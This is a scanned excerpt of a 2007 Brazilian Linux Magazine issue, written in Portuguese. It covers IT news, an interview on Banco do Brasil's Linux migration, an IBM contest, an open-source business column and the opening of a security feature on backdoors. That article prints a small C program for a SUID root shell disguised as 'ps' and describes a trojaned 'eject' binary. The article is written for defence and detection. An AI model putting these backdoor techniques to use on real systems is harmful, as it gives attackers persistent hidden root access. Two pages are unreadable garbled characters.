Notas Blog de Cézar Taurion A IBM lançou o primeiro blog do programa DeveloperWorks na América Latina. O escolhido para comandá-lo foi Cézar Taurion, Gerente de Novas Tecnologias da empresa, e colunista da Linux Magazine. Em http://www-03.ibm.com/developerworks/blogs/page/ctaurion, Cézar aborda assuntos como Código Aberto, SOA, padrões abertos e tendências. Histórico de treinamentos Mandriva Conectiva A Mandriva Conectiva, fabricante do Mandriva Linux, divulgou recentemente já ter treinado mais de cem mil profissionais em seus cursos. Somente em 2006, 16 novas alianças foram firmadas em todo o país. Os cursos da empresa englobam desde o uso básico do sistema Linux até a administração de redes, além da programação para dispositivos embarcados. Além disso, são cursos preparatórios para a certificação LPI. O Country Manager da empresa no Brasil, Paul Guillet, afirma que o Linux já ultrapassou a barreira dos servidores, e agora desperta interesse em usuários não técnicos, em busca de um diferencial no mercado. Processador Intel com 80 núcleos A fabricante de microprocessadores Intel apresentou o protótipo de um processador que contém 80 núcleos. Com isso, a peça superou a marca de 1,0 Teraflops (um trilhão de operações de ponto flutuante por segundo), até então restrita a super-computadores ou grandes clusters. Altamente surpreendente é também o fato de o processador consumir apenas 62 watts, marca inferior à de diversos processadores de núcleo único atualmente no mercado. Apesar de toda a atenção que o chip provocou, a Intel não o lançará no mercado. Em vez disso, ele serve como uma prova de conceito do que a empresa está chamando da “Era do Tera”. Presidente Lula recebe Classmate PC O presidente Luiz Inácio Lula da Silva recebeu da Intel o primeiro Classmate PC, o laptop de baixo custo destinado ao uso educacional. Além dessa máquina, outras 30 foram entregues aos principais órgãos do Governo Federal envolvidos na aquisição de máquinas para promover a inclusão digital e o aprendizado no país. No mês de Abril, a Intel doará 800 unidades ao programa UCA (um computador por aluno). Os primeiros experimentos com o computador serão realizados em escolas públicas de Piraí (RJ) e Palmas (TO) Nova versão da solução RH de segurança A Red Hat anunciou o lançamento mundial do Red Hat Certificate System 7.2, nova versão de sua solução de segurança. O sistema possui uma infra-estrutura completa de chaves públicas (PKI), além de um sistema de transmissão de dados criptografados. Além de garantir a identidade dos usuários no serviço, o Certificate System torna segura também a privacidade nas transmissões entre ambientes heterogêneos. No Certificate System 7.2, tanto a instalação quanto a configuração da infra-estrutura de chaves estão facilitadas, com sua interface de administração baseada em Apache e Tomcat.

25

Linux Magazine #29 | Abril de 2007

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


Vilson Pastro, gerente do Núcleo de SL na Diretoria de Tecnologia do BB

CORPORATE

O valor de migrar O Banco do Brasil está migrando a maioria de seus sistemas legados – incluindo os aplicativos de negócios, automação bancária e caixas eletrônicos – para Linux, e tem bons motivos para ter escolhido a plataforma aberta. por Pablo Hess

Linux Magazine» Como é o ambiente de

TI do Banco do Brasil? Vilson Pastro» O Banco do Brasil possui três grandes ambientes. A rede de agências, que corresponde à automação de agências, é composta por 5500 servidores, 65 mil estações, 42 mil caixas eletrônicos e 4,1 mil terminais de senha, nos quais os clientes obtêm uma senha em papel ao entrarem na agência. O ambiente de automação de escritórios inclui a administração em geral, e dispõe de mais de 27 mil estações de trabalho, back office, além de 350 servidores, em 250 prédios. O terceiro ambiente é o site central. As operações de TI do Banco do Brasil são absolutamente centralizadas em Brasília.

Figura 1 Vilson Pastro, gerente do Núcleo de SL na Diretoria de Tecnologia do BB.

Nela, encontram-se os mainframes highend e também centenas de servidores de plataforma baixa. Esses três ambientes são bastante heterogêneos, não apenas entre si, mas também internamente. Por exemplo, o Banco do Brasil emprega neles diversos sistemas operacionais, provavelmente todos os de maior expressão, como OS/2, Linux, Solaris, Windows® etc. E todos estão, no momento, em fase de consolidação. Porém, certamente os que mais utilizamos são OS/2 e Linux. LM» Qual é a abrangência da migração

para Linux? VP» A migração está sendo iniciada no ambiente de automação bancária, isto é, nas agências. Nesse ambiente, vamos substituir os sistemas IBM OS/2 legados, que ainda compõem a maior parte de nosso parque de máquinas. Porém, não pretendemos parar nesse ponto. Ao fim desse extenso projeto, que engloba mais de cem mil máquinas, entre servidores, estações e ATMs, pretendemos prosseguir com a migração de outros ambientes. Os dispensadores de senha são o único item das agências que já utilizava Linux desde o início de sua operação, não configurando, portanto, uma migração propriamente dita. Fora desse ambiente, 2.700 estações também já tiveram o Linux instalado antes que entrassem em operação.

Por que foi feita a migração para Linux nos terminais, que antes usavam OS/2? VP» O sistema utilizado originalmente nas máquinas, o OS/2, foi descontinuado por seu fabricante, a IBM, há tempos. No entanto, a escolha do Linux não foi imediata. Realizamos diversas provas de conceito até concluirmos que o sistema aberto era, de fato, uma alternativa viável. Ainda assim, tínhamos dúvidas, mesmo após as provas de conceito, a respeito do uso do Linux como nossa plataforma de negócios. O aspecto mais importante nesse sentido era o suporte. Não sabíamos quão acessível ele era, quais empresas prestariam serviços na plataforma aberta, ou quais seriam, precisamente, esses custos. Nossa Diretoria, sobretudo, frisava essas incertezas. LM»

Quando e por que a Diretoria do BB percebeu o valor do Linux e deu seu aval? VP» Por volta dos anos 2000 e 2001, os executivos técnicos tentavam convencer os diretores de forma mais pessoal. Nessa época, Ulisses Pena, nosso analista-consultor de TI, teve grande responsabilidade na defesa do uso do Linux. Graças a seus esforços na defesa dessa bandeira, os fatores ruins perderam importância progressivamente. Ao final, felizmente chegamos a um acordo favorável à adoção do Linux nas máquinas. LM»

26

http://www.linuxmagazine.com.br

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


Entrevista | CORPORATE

Como se deu a migração? Em 2002, quando já haviam sido traçados os planos iniciais de migração para Software Livre, os funcionários das agências receberam treinamento para se capacitarem no uso do Linux. Até então, eles haviam usado unicamente OS/2 e Windows em suas máquinas de trabalho. No ano seguinte o Software Livre foi efetivamente integrado ao plano estratégico do Banco do Brasil. Isso representou um importante marco nesse nosso processo de envolvimento com o SL, pois o Código Aberto deixou de ser uma curiosidade tecnológica, tornando-se, então, uma plataforma confiável. Isso ocorreu não apenas no banco, mas, pelo que vi, em diversas outras grandes empresas. Creio que essa mudança tenha acontecido de fato, internamente, no próprio Linux, e não apenas na visão que temos dele. A partir da virada de 2003 para 2004, percebemos que o Software Livre passou a receber, abertamente, intenso apoio dos grandes players do mercado. Com isso, vimos que não éramos os únicos seguindo esse caminho, o que foi muito reconfortante. Hoje em dia, todos devem prestar atenção ao Linux. LM» VP»

LM» O que foi necessário mudar, além do sistema operacional, para adotar a nova solução no BB? VP» Como adotamos uma plataforma diferente da que possuíamos, naturalmente foi necessário reimplementar boa parte dos aplicativos de uso interno do banco. Mas é importante ressaltar que essa necessidade não foi uma decorrência da escolha específica do Linux, e sim da mudança de plataforma. Nós seríamos obrigados a refazer a maior parte de nossos aplicativos em qualquer que fosse a plataforma escolhida. Essa reconstrução, em si, não foi trabalhosa, pois temos uma equipe numerosa e capaz, e há documentação em profusão para o que precisávamos criar. Porém, a tarefa posterior foi uma das mais árduas em todo o processo de migração, até o momento. Ela envolveu o teste das novas aplicações, sua homologação etc. Costumamos dizer, no banco, que não temos margem de erro, não temos espaço para manobra. Por isso, tivemos que fazer muitos testes, que demoraram até um ano inteiro. Por exemplo, quando realizamos a migração de um terminal, esse processo

tem de atender a todos os mecanismos do banco. Caso contrário, a migração não terá êxito, configurando um gasto desnecessário. LM» De que consiste a nova solução ado-

tada pelo BB, mais precisamente? VP» No campo dos servidores, a solução é o sistema operacional como base, sobre o qual rodam as várias aplicações de negócios e infra-estrutura, reescritas por nossa equipe. Inicialmente, tivemos alguma dificuldade com produtos proprietários que rodam no Linux, pois sua comunicação com nossos mainframes não estava ocorrendo da forma como deveria. Por isso tivemos ainda que adequar esses sistemas ao nosso projeto. Centenas de scripts que utilizávamos na solução anterior foram ajustados para trabalhar com Linux. Nas estações, também modificamos os aplicativos de transação e comunicação. Nas estações que mantiveram seus sistemas Windows legados, assim como as que migramos para Linux, utilizamos apenas ferramentas livres para escritório. Adotamos ainda um emulador de calculadoras HP-12C, muito usada por nossos funcionários. Em vez de adquirirmos diversas dessas máquinas, temos agora o número de máquinas que desejarmos, sem qualquer custo adicional para o banco. O terminal utilizado pelos funcionários foi moldado para se assemelhar o máximo possível ao sistema anterior, de forma que a enorme maioria nem percebeu qualquer mudança. LM» Qual foi o volume de investimento

para a nova solução, e em quanto tempo o BB espera obter o retorno? VP» O investimento financeiro necessário foi irrisório. Após desenvolvermos a imagem de CD para ser instalada nas agências, sua produção e envio a estas custou R$ 40 mil. Nosso suporte especializado em Linux é parcialmente contratado, composto por funcionários do banco e outros cinco terceirizados, em sistema de plantão de atendimento 24×7. Novamente, o mesmíssimo regime de suporte seria necessário no caso de outros sistemas operacionais.

Além disso, nosso gasto anual com a manutenção da nova solução é de apenas R$ 1,3 milhões, irrisório para o banco. O porte dos aplicativos para Linux não exigiu investimento, pois tudo foi feito por nossa equipe de TI altamente capaz. No mais, cada área do banco possui funcionários de suporte qualificados, pensados com o intuito de descentralizar o atendimento em TI. Eventualmente contratamos também um serviço de suporte, em regime sob demanda, para auxiliar no porte de aplicativos e na escrita de códigos personalizados. Optamos por um pequeno número de técnicos de suporte altamente qualificados, em vez de uma grande quantidade de funcionários com conhecimento limitado. LM» Em relação aos aplicativos, como foi

feita a migração para o BrOffice.org? VP» Essa migração ocorreu em duas áreas: a de automação bancária e a de automação de escritórios. Inicia-

O Código Aberto deixou de ser uma curiosidade tecnológica, tornando-se, então, uma plataforma confiável. mos o processo pelas agências. Após efetuarmos estudos de viabilidade e pilotos, criamos um processo de automatização da instalação, com o objetivo de reduzir a interação humana com a máquina no decorrer dessa fase. Dessa forma, conseguimos criar CDs completos e com instruções, manuais e material de ajuda, os quais podem ser usados de forma automatizada por qualquer técnico. Incluímos também no software personalizado o visualizador de documentos do MS Office produzido pela Microsoft, para que os funcionários não perdessem a possibilidade de ler esse tipo de documento. Nas negociações com outras áreas do banco, optamos por deixar duas estações com Windows em cada agência, para permitir o uso do MS Office nos casos em que o BrOffice.org não atingisse o nível necessário de compatibilidade com o formato proprietário.

27

Linux Magazine #29 | Abril de 2007

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


CORPORATE | Entrevista

Nos escritórios, o aplicativo de escritório adotado também foi o BrOffice.org, para manter a compatibilidade com as agências. Inicialmente, apenas oferecemos aos usuários a opção de instalação do programa livre, durante o logon, para que eles adquirissem familiaridade com a nova solução. Após algum tempo com as

cional trouxeram, técnica e economicamente, ao BB? VP» Temos o objetivo de preparar a rede do Banco do Brasil para uma nova era, o que inclui suportar novas tecnologias de mercado. O segmento bancário é um dos que mais demandam tecnologia, além de uma busca constante no sentido do aumento da automatização, pois os clientes querem uma maior comodidade a cada dia. Por isso, esse segmento é uma área muito criativa. Os bancos concorrem intensamente entre si, em busca de novos clientes, e o Linux nos tem permitido avançar muito, sem sermos obrigados a nos basear em soluções proprietárias e incompletas. Nossas soluções internas costumam funcionar melhor que as contratadas ou compradas. Além disso, nossos canais de atendimento do banco, tanto para os clientes quanto para funcionários, não mostrou qualquer problema durante a migração dos diversos sistemas para Linux. No aspecto econômico, poupamos, até hoje, R$ 48 milhões, e projetamos chegar a 90 milhões até 2010. Porém, se contabilizarmos também as novas máquinas, que não necessitarão de licenças de software, nossa economia é e será ainda maior. Ao incluirmos a economia com o não pagamento de licenças de software para aplicativos de escritório, a implantação do BrOffice.org nos permitiu deixar de renovar 33 mil licenças do MS Office, aumentando nossa redução de custos em R$ 22 milhões. Um último avanço, este o qual foi inesperado, ocorreu nas relações entre nossos funcionários e técnicos. Criamos grupos de discussão na intranet assim que adotamos o BrOffice.org e o Linux, e os funcionários das agências começaram a participar ativamente na solução dos problemas de outros usuários. De uma forma surpreendentemente positiva, as listas de discussão acabaram por funcionar não apenas como canais de reclamação, mas também de solução de problemas de forma colaborativa. Com isso, aumentamos significativamente nossa velocidade de teste e homologação de novas máquinas, pois os próprios funcionários se interessaram em participar.

Há quatro ou cinco anos, o Software Livre e de Código Aberto era complexo, mas a situação já melhorou muito. Agora sabemos que ele é o futuro. duas opções funcionando em paralelo, eliminamos a possibilidade de uso do MS Office, exigindo então a suíte aberta. Atualmente, o número de estações com o BrOffice.org instalado é de 58 mil, e nossa meta é chegar a 86 mil em junho deste ano. Se conseguirmos também fazer com que isso acelere a adoção da suíte livre por nossos parceiros e clientes, então poderemos abandonar o software proprietário nesse campo. Para uso interno, estamos utilizando o formato de documentos Open Document, ODF. Para documentos somente-leitura, sejam internos ou externos, sugerimos aos funcionários o formato PDF. Com isso, 80% dos documentos gerados no Banco do Brasil são arquivos normais, sem necessidade de recursos avançados. LM» Algum

outro aplicativo teve uma migração especialmente difícil ou trabalhosa? VP» Não houve qualquer dificuldade incontornável, pois dispomos de uma equipe altamente qualificada, que foi capaz de resolver todos os percalços. Como exemplo, o emulador de terminal que utilizamos nas agências, um Software Livre, apresentou uma falha bastante incômoda. Nossa equipe interveio e criou o g3270, uma versão melhorada do emulador, e livre do referido problema. Da mesma forma, outras pequenas ocorrências foram devidamente solucionadas. LM» Quais avanços e melhorias as migrações de aplicativos e sistema opera-

Houve alguma contrapartida desvantajosa? VP» Absolutamente nenhuma. Nós convivemos com tecnologias livres e proprietárias. Nem sempre a alternativa mais barata resolve nosso problema, e por isso sempre temos que avaliar a funcionalidade, para não pormos em risco nossa operação, de forma alguma. LM»

Os objetivos do BB com a migração foram atingidos? Se não, quando isso acontecerá? VP» Nossas variadas movimentações possuem tempos diferenciados. Enquanto já finalizamos a migração para o BrOffice.org nas estações e para o Linux nos servidores do ambiente das agências, ainda estão em andamento os processos de implantação de soluções baseadas em Linux em outras áreas. Porém, é reconfortante podermos afirmar que poderíamos trocar o sistema operacional de todas as agências em apenas uma semana. A primeira fase da migração deve terminar completamente em junho, e então a estrutura já será capaz de agir sem intervenção. Uma fase altamente crítica será a migração dos 42 mil terminais de autoatendimento. Como há mais de 40 modelos de máquinas, originárias de vários fornecedores, o trabalho demandado por esse processo será maior. Além disso, qualquer falha nesse aspecto será absolutamente crítica para o funcionamento do banco. Por isso, estamos nos preparando há tempos para essa operação, que deve começar em 2008 e durar alguns anos. Devido ao tamanho do banco, somos obrigados a realizar essas mudanças de forma gradual. LM»

Alguma palavra para nossos leitores? Nós acertamos, e não temos mais dúvidas disso. Há quatro ou cinco anos, o Software Livre e de Código Aberto era complexo, mas a situação já melhorou muito. Agora sabemos que ele é o futuro. Como os bancos estão começando a usá-lo, em breve outras empresas também olharão para ele com mais interesse. Todos os dias encontramos novos nichos e demandas para adotar o Linux. Ele já passou a fazer parte de qualquer solução nossa, e é a primeira opção para qualquer nova aplicação que precisemos desenvolver. ■ LM» VP»

28

http://www.linuxmagazine.com.br

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


Concurso IBM InSites

CORPORATE

Prêmios para o Linux Os projetos vencedores aplicaram conceitos de SOA a problemas relevantes para empresas. por Pablo Hess

A

IBM foi uma das primeiras grandes empresas a declararem seu apoio ao Linux e ao Software Livre e de Código Aberto. Desde então, a empresa vem promovendo diversos eventos que enfatizam o desenvolvimento e o uso de aplicativos de Código Aberto. Além do código, a IBM também atua em favor dos padrões abertos, com o objetivo de promover a interoperabilidade em todos os tipos de aplicações. Além do portal IBM developerWorks, onde a Big Blue disponibiliza artigos técnicos de diversos teores, muitos dos quais abordando o desenvolvimento e uso de Software Livre, a empresa lançou recentemente o concurso InSites[1]. O objetivo do concurso era estimular o desenvolvimento de aplicações de acordo com padrões abertos sobre Linux. Para isso, as aplicações deveriam utilizar tecnologias emergentes, tais como VoIP, arquitetura orientada a serviços (SOA), computação em grid e softwares embarcados, entre outros. O concurso envolveu equipes formadas por parcerias entre estudantes universitários e empresas desenvolvedoras de software, sempre com um professor, dois alunos e dois representantes da empresa de desenvolvimento. Naturalmente, todos os projetos deveriam envolver componentes de software middleware da IBM, como WebSphere, DB2, Tivoli ou Lotus. A premiação do concurso IBM InSites ocorreu durante o evento Connect and Play, que enfatizou a criatividade e a ousadia em tecnologia. Com entrada franca, e contendo palestras sobre temas em voga no mercado atual de TI, como SOA, acessibilidade e ODF, o evento contou com dezenas de participantes, em sua maioria desenvolvedores interessados em aplicar esses novos conceitos em seus softwares.

A palestra de Alfredo Gutierrez, Development Relations Manager da empresa, abordou a plataforma de desenvolvimento de softwares IBM Rational V7. Gutierrez apresentou uma visão geral do desenvolvimento orientado a negócios, ressaltando itens como desafios de entrega de software, compliance e monitoramento. A governança em SOA foi tema de mais uma palestra, que enfocou, além dos conceitos básicos da área, as soluções da IBM para esse fim. Foram ministrados também dois mini-cursos, relacionados aos assuntos Rational Software Architect e Websphere. A palestra de acessibilidade apresentada por Omar Varela, gerente do Centro de Acessibilidade da empresa, mostrou como essas novas tecnologias contribuem para a democratização e difusão do acesso à informação, tomando como exemplo hardwares e softwares criados para usuários deficientes. Cézar Taurion, colunista da Linux Magazine e gerente de Novas Tecnologias Aplicadas, apresentou a palestra sobre o formato Open Document (ODF), na qual o colunista descreveu as vantagens do uso desse formato de arquivos no intercâmbio de documentos dentro de empresas. Taurion ressaltou ainda o envolvimento de uma multiplicidade de instituições e organizações na confecção desse formato, culminando num movimento altamente democrático, que mostra o poder do paradigma colaborativo. Durante todo o evento ocorreu também uma install fest Linux, na qual equipes de especialistas em Linux da IBM e Novell ofereceram instalações personalizadas do Suse Linux 10, bastando, para isso, que os participantes levassem seus laptops. Foram selecionadas dez equipes finalistas para os prêmios, que compreendiam viagens e verbas de marketing

para lançamento do produto no mercado. Os finalistas tiveram a oportunidade de mostrar suas criações aos participantes do evento, durante toda a duração do mesmo, em estandes específicos.

Os vencedores

A equipe que conquistou a primeira colocação, ganhando um voucher de R$ 6.500,00 para cada um dos membros e R$ 30 mil para marketing do produto, foi formada por alunos e profissionais de TI da Universidade de Sorocaba. Seu projeto, o AprendaJava, consiste em um ambiente de ensino à distância voltado ao aprendizado da linguagem Java, e utiliza WebSphere para a tecnologia SOA. O segundo lugar foi conferido ao projeto GRID ROSTERING, desenvolvido por alunos do Instituto Tecnológico de Aeronáutica em parceria com a empresa GTAC Solutions. O projeto implementa um Web Service para a elaboração das escalas de tripulantes de empresas aéreas. Essa tarefa exige cálculos intensivos, e o projeto lança mão da computação em grid para acelerar significativamente esse processamento. A terceira colocada foi a equipe eCampeonatos, formada por alunos da USP e profissionais da empresa thinkUP, que desenvolveu um projeto para criar competições esportivas, consultar e lançar resultados de forma prática e rápida, através de telefones celulares e da Internet. Segundo Ruth Harada, gerente dos programas IBM de apoio aos desenvolvedores, o nível dos projetos apresentados foi surpreendente. ■

Mais Informações [1] Concurso IBM InSites: http://www.concursoinsites.com.br

29

Linux Magazine #29 | Abril de 2007

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


�������������������������������

��������������

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


������������������������

�������������������������������������������������������������� ����������������������������������������������� ���������������������������������������������������������������������

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


Usando Código Aberto e ganhando dinheiro com isso

CORPORATE

Cezar Taurion P

rojetos de Código Aberto já demonstraram sua viabilidade em dezenas de produtos, como Linux, Samba, PHP, Apache e Tomcat. O que é realmente inovador no Código Aberto é o modelo de desenvolvimento colaborativo. Vamos pensar juntos: o modelo de desenvolvimento tradicional tem mostrado muitas falhas. Uma parcela significativa dos projetos atrasa ou acaba sendo cancelada. O emprego de mais desenvolvedores prejudica ainda mais. Ora, mas o modelo do Código Aberto utiliza centenas e, às vezes, milhares de desenvolvedores, sem qualquer espécie de gerência burocrática, e as coisas funcionam. Será que não podemos pensar em adotar alguns dos processos utilizados por esse modelo? Não seria algo a ser cogitado? Acredito que o modelo de Código Aberto pode trazer muitos benefícios a uma organização de TI. Por exemplo, incentiva a comunicação e o compartilhamento de idéias entre os desenvolvedores da empresa. A comunicação e a colaboração são a essência do processo colaborativo. Um processo desse tipo utiliza intensamente ferramentas como wikis, listas de discussão, blogs etc. Aumenta,

O modelo do Código Aberto utiliza centenas e, às vezes, milhares de desenvolvedores, sem gerências burocráticas, e as coisas funcionam.

também, a transparência do projeto, permitindo que mais pessoas de fora da equipe – como usuários, por exemplo – se envolvam e opinem a seu respeito. A documentação também é desenvolvida em colaboração e até mesmo pelos próprios usuários. Além disso, estes e outros desenvolvedores podem cooperar ativamente no processo de testes e validação. Um projeto típico de Código Aberto compreende uma pequena equipe de desenvolvedores centrais, os quais respondem pela maioria do código, e um número bem maior de desenvolvedores contribuidores, com contribuições esporádicas, além de um grande número de outros colaboradores, como usuários e outros desenvolvedores, que podem contribuir com sugestões e também na depuração. Esse intercâmbio profissional, transparente, com uso intenso de revisões pelos pares (peer review), tende a aumentar a qualidade do código, pois incentiva os desenvolvedores a buscarem um nível maior de qualidade. Afinal, todo código é visto por outros desenvolvedores. É verdade que algumas características típicas do Código Aberto não se enquadram a projetos internos. Por exem-

plo, deixar que os desenvolvedores definam os prazos de forma autônoma não costuma ser uma boa idéia. Afinal, eles têm de respeitar a demanda da empresa, que exige prazos bem definidos para o lançamento do novo produto ou sistema em funcionamento. Mas e se, além de tudo isso, ganharmos dinheiro com o Código Aberto? Criar um modelo de negócios baseado em Código Aberto não é simplesmente abrir um código-fonte e pronto. É necessário criar um balanceamento entre os interesses da comunidade e do próprio negócio. Tem de ser uma relação ganha-ganha, benéfica para ambos os lados envolvidos. Existem muitas questões a serem discutidas. Por exemplo, qual o modelo de licenciamento? GPL? Baseado em BSD? Quem vai desenvolver e manter o código? A própria companhia ou a comunidade? Os seguintes fatores devem ser analisados: ➧ Qual a maturidade do projeto? O código se encontra estável e maduro, pronto para ser usado, ou é excessivamente instável e cheio de falhas? ➧ Tamanho da comunidade. Um software de utilização restrita vai despertar pouco interesse da comunidade e, portanto, os benefícios esperados de contribuições, sugestões etc. será muito pequeno ou inexistente. Um projeto de Código Aberto que não consegue atrair interesse da comunidade simplesmente não terá sucesso. ➧ Maturidade do mercado. O software vai atender a uma demanda existente ou será necessário criar esse mercado? ➧ O seu mercado compreende o Código Aberto e está disposto a (ou tem possibilidade de) trocar o modelo de licenciamento por serviços? É um mercado que compra serviços e consultoria? Existem nichos de mercado a serem explorados? O modelo de Código Aberto demanda algumas mudanças na organização, nas estratégias de marketing e comercialização, e também nos serviços. É necessário criar um modelo de distribuição diferente do modelo atual. E também vínculos estreitos com a comunidade e, ainda, é absolutamente fundamental entender que o modelo de serviços é diferente do modelo de licenciamento. Código Aberto é um modelo de negócios que pode trazer excelentes resultados, mas requer que se compreenda muito bem os seus conceitos e peculiaridades para que se tenha sucesso. ■

O autor Cezar Taurion é gerente de novas tecnologias aplicadas da IBM Brasil. Seu blog está disponível em http://www-03.ibm. com/developerworks/blogs/page/ctaurion.

32

http://www.linuxmagazine.com.br

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


Buscando vestígios

Gato e rato CAPA

Se você pensa que seus sistemas são obscuros demais para os agressores virtuais, reconsidere. Os intrusos de hoje buscam qualquer vítima. por Joe Casad e Pablo Hess

S

uas portas estão trancadas? Seus dados estão a salvo? No início, os invasores de rede simplesmente gostavam de brincar. Invadiam máquinas apenas para provar que conseguiam – como desafio intelectual, ou talvez para se sentirem corajosos e ousados. No entanto, os tempos mudaram e a preocupação em relação à segurança mudou junto. Os sistemas atuais armazenam informações críticas, inclusive com valor econômico – números de cartões de crédito, fichas médicas, endereços de email. E o próprio sistema pode vir a se tornar uma ferramenta para o invasor. Criminosos cibernéticos empregam técnicas sofisticadas para ordenar a computadores perfeitamente comuns o envio de spam ou a execução de ataques de negação de serviço. E os adolescentes vândalos? Eles também estão à solta. Para se manter à frente dessas ameaças, é necessário saber como procurar seus rastros. Nas matérias de capa deste mês, mostraremos o que procurar. Um invasor que consegue atravessar a segurança de uma rede sempre deseja criar uma abertura secreta para permitir que ele entre novamente quando quiser. Essas entradas ocultas, conhecidas como backdoors, existem em várias formas. Começaremos examinando algumas técnicas comuns para a criação de backdoors. Mostraremos também como procurar sinais de um ataque através da versátil ferramenta lsof. Depois, examinaremos como o Argus ajuda a detectar comportamentos anômalos do tráfego de rede, facilitando assim a identificação de invasões e permitindo que sejam remediadas. No último artigo desta seção, analisaremos o BackTrack, uma distribuição Live com uma formidável coleção de ferramentas para simular um ataque de rede. Se você quiser aprender a pensar como um invasor, ou até mesmo se estiver apenas procurando técnicas simples de auto-defesa, leia os conselhos de nossos experts em detecção de intrusos. ■

Índice Aprenda a construir Backdoors p.34 Busque invasores com o Lsof p.39 Detecção de invasões com o Argus p.43 BackTrack, e testes de invasão p.47

33

Linux Magazine #29 | Abril de 2007

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


Técnicas de criação de backdoors

CAPA

Passagem secreta As backdoors oferecem aos invasores acesso irrestrito a um sistema zumbi. Para impedir que esse tipo de ameaça se instale, leia esta análise das ferramentas usadas pelos criminosos. por Amir Alsbih

A

pós efetuar um ataque com sucesso, um cracker não vai simplesmente relaxar e ver o que acontece. Explorar uma vulnerabilidade e obter acesso de root é apenas metade da história. Geralmente o invasor prefere continuar explorando a máquina, desferindo ataques a partir dela. Para facilitar, ele normalmente tenta manipulála após obter acesso inicial. O processo de invasão inclui cinco fases: ➧ O agressor explora uma falha de segurança local ou de rede para obter o controle do computador da vítima; ➧ Depois aumenta seus privilégios para ganhar status de administrador. Isso é necessário para que ele consiga apagar arquivos de registro ou instalar rootkits [1]; ➧ Em seguida apaga todos os vestígios de seu ataque manipulando arquivos de registro, ou wtmp e utmp, e limpando o arquivo de histórico; ➧ Então instala rootkits que ajudam a manter o ataque oculto. Graças ao rootkit, os administradores da máquina comprometida perdem a capacidade de visualizar os processos, conexões e arquivos do invasor; ➧ Enfim, o último passo é instalar uma backdoor para facilitar o acesso. Ela mantém a máquina firmemente sob o domínio do agressor, mesmo que a brecha de segurança que permitiu o ataque já tenha sido corrigida. As primeiras etapas desse ataque receberam atenção considerável, mas costuma ser difícil encontrar informações sobre a fase final (e crucial) da backdoor. O que significa um invasor instalar uma backdoor? Este artigo

examina técnicas para se construir uma porta de entrada para um sistema comprometido.

Processo

Após limpar o log e implementar utilitários de um rootkit com fins de ocultação, o agressor já pode prosseguir para o último passo: instalar uma backdoor. A backdoor mais fácil e simples é a brecha de segurança já explorada pelo invasor para ganhar acesso ao computador. Se a máquina receber atualizações apenas esporadicamente – o que é o caso de muitos computadores domésticos ou escolares – essa abordagem pode ser extremamente eficiente, pois reduz bastante os vestígios. A principal desvantagem dessa abordagem é o risco de se perder acesso à máquina caso a vítima resolva instalar uma atualização. Outro problema reside no fato de que a falha de segurança original normalmente não dará ao cracker acesso ao terminal. Vários criminosos profissionais preferem fechar as brechas de segurança que utilizaram na invasão inicial, apenas para evitar que um script kiddie entre pelo mesmo caminho e levante suspeitas. Devido a essa necessidade de uma forma melhor de invasão, diversos crackers instalam programas especiais de backdoor. Há duas categorias de backdoors: ➧ Locais: Se um usuário já possuir uma conta no sistema (como é o caso em ataques “de dentro”), não será necessária uma backdoor para abrir uma porta. Em vez disso, o usuário pode simplesmente entrar no sistema localmente e se concen-

trar em obter mais privilégios. Isso é chamado de backdoor local. ➧ Remotas: Se o cracker não possuir uma senha legítima na máquina, a backdoor terá que oferecer acesso na forma de uma shell remota. O cracker precisará desta, com privilégios de root para evitar o uso repetitivo de um exploit do kernel ou outra técnica de ganho de privilégios a cada visita. Os mecanismos de segurança e sistemas de proteção continuaram ao longo dos anos, e as ferramentas de detecção de invasões e sistemas de prevenção estão presentes por padrão atualmente. Para acompanhar o ritmo, as backdoors tornaram-se mais sofisticadas. Muitas técnicas antigas de backdoor parecem ingênuas hoje em dia; contudo, é importante lembrar que a segurança não era levada tão a sério há poucos anos. Sob essas circunstâncias, técnicas simples costumavam ser mais eficientes, especialmente devido ao fato de que os invasores podiam confiar na atitude relaxada dos administradores quanto à segurança.

Backdoors locais

Uma backdoor local requer que o agressor possua acesso legítimo ao sistema. Nos últimos anos houve poucas mudanças nas técnicas mais antigas. Uma backdoor local pode consistir em um script ou um programa em C que dá ao invasor o controle sobre uma shell com privilégios de root. Para isso, o script ou programa especifica a flag SUID. Geralmente, o programa é assim:

34

http://www.linuxmagazine.com.br

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


Backdoor | CAPA

int main() { setuid(0); setgid(0); execl(“/bin/sh”, “ps”, “-i”, NULL); return 0; }

Obviamente o invasor precisará limpar o wtmp e o utmp, assim como os arquivos de registro, para eliminar os vestígios.

Netcat

O comando setuid(0) especifica a ID de usuário em 0 (root), enquanto o setgid(0) muda o grupo de acordo com o usuário. Em seguida, o programa abre uma shell que se mostra como o processo ps na lista de processos. Os invasores normalmente ocultam esses scripts nas profundezas do sistema de arquivos, executando-os toda vez que desejam rodar uma shell de root. Outras backdoors locais costumam usar a forma de binários modificados. Como o Código Aberto está sempre disponível, é fácil crackers modificarem os programas e depois usarem-nos em substituição aos programas originais. Mais uma vez, isso só vale a pena se o comando for executado com privilégios de root. A backdoor eject é um exemplo de backdoor binária. Digitar eject -t abre ou fecha uma unidade de CD. Uma versão modificada do eject verifica se uma determinada variável de ambiente está especificada, e também se o conteúdo da variável está de acordo com a senha especificada no eject. Se o resultado for positivo, a ferramenta eject manipulada presenteará com uma shell de root o usuário que a executou. Como o parâmetro -t fecha a unidade de CD, um usuário na vizinhança da máquina alvo não perceberá o ataque.

